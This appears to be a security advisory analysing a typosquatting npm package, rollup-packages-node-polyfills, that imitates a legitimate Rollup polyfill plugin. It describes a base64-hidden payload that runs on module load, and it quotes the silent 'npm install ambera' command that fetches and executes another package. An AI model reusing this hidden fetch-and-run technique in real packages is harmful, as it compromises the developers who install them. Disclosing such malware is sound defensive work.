rollup-packages-node-polyfills@0.0.1

Analysis

rollup-packages-node-polyfills is a combosquat of the legitimate rollup-plugin-polyfill-node. At require-time, dist/index.js decodes a base64 payload that silently runs "npm install ambera --no-save --silent --no-audit --no-fund" via child_process.spawn with stdio:ignore and windowsHide:true, then requires the installed "ambera" package and calls its getPlugin() method. This is a remote-package downloader: the ambera package is not currently on the registry, but any future publish would be silently installed and executed on every require of this package. The package has no lifecycle hooks — the payload runs on module load.